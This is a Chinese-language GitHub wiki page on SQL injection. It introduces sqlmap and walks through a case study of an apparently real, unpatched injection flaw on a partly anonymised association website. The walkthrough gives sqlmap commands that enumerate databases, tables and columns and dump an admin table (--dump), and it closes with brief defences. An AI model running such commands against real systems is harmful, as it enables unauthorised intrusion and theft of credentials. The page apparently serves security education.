SQL Injection - ianchen0119/About-Security GitHub Wiki

SQL Injection 是發生於應用程式與資料庫層的安全漏洞。簡單來說,是在 Web 請求中注入能夠改變 SQL 命令的字串達到攻擊的目的,漏洞常出現在設計不良的程式,因為忽略了字元檢查,這些夾帶惡意指令的請求就會被資料庫伺服器誤認為是正常的 SQL 指令而執行,因此遭到破壞或是入侵。

Sqlmap

Sqlmap 是一個開源的資料庫滲透工具,我們可以使用它測試後端與資料庫之間是否有弱點存在。 如果你已經安裝了 Kali Linux ,恭喜你,你已經有安裝好的 sqlmap 可以用囉! 一般來說,我們可以先從一些小地方觀察出網站是不是有可注入的點,接下來就可以使用 Sqlmap 進行滲透測試:

sqlmap -u http://我是砲灰.com/artists.php?artist=1 --dbs

如果 sqlmap 有成功抓到資料庫的類型,它會詢問你是否要測試其他的 DBSM 以及加身 RISK and Value ,一般來說,等級越高就會越花時間。 接下來的步驟,可以參考下方的案例分析。

Sqlmap 實際攻擊流程:

  1. 檢測來源是否穩定
  2. 請求參數是否為 Dynamic

    Dynamic 的定義: 如果這個 Get/Post parameter 變更後會影響網站回傳的內容,代表這個參數是 Dynamic 的。

  3. 辨識資料庫種類
  4. 開始注入攻擊並取得存取權限

案例分析: 某學會的 SQL Injection 漏洞回報

註: 由於漏洞尚未被該學會修補,我們先採用網址匿名的方式保護當事人。 某學會網址: https://xxx/cht/event_list.php?serial_type_1= 發現漏洞的網址: https://xxx/cht/event_list.php?serial_type_1=- 漏洞網址的錯誤訊息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY gst_event.sort DESC , gst_event.date DESC , gst_event.serial DESC LIMIT' at line 11

根據錯誤訊息,即使不用 nmap 做掃描也可以知道該網站用了 MySQL 服務,所以我們直接使用 sqlmap 做弱點掃描:

sqlmap -u https://xxx/cht/event_list.php?serial_type_1=2 –dbs

不掃還好,一掃不得了,還真的讓我們發現有兩個資料表可以存取:

information_schema
xxx (保護當事人)

看到資料表名稱後,我們繼續往下深入:

sqlmap -u https://xxx/cht/event_list.php?serial_type_1=2 -D xxx –tables
(-D 選定目標Database)

下完指令後,我們得到了 table 列表:

得到 table 列表後,我們隨意叫了一個 table 來看看:

sqlmap -u https://xxx/cht/event_list.php?serial_type_1=2 -D xxx -T xxx_admin –columns

如果想要得到那些資料,可以這麼做:

sqlmap -u https://xxx/cht/event_list.php?serial_type_1=2 -D xxx -T xxx_admin --dump

如何防範 SQL Injection

  • ORM
  • 避免網站打印出 SQL 錯誤資訊
  • 後端針對使用者的請求參數做處理
  • 防火牆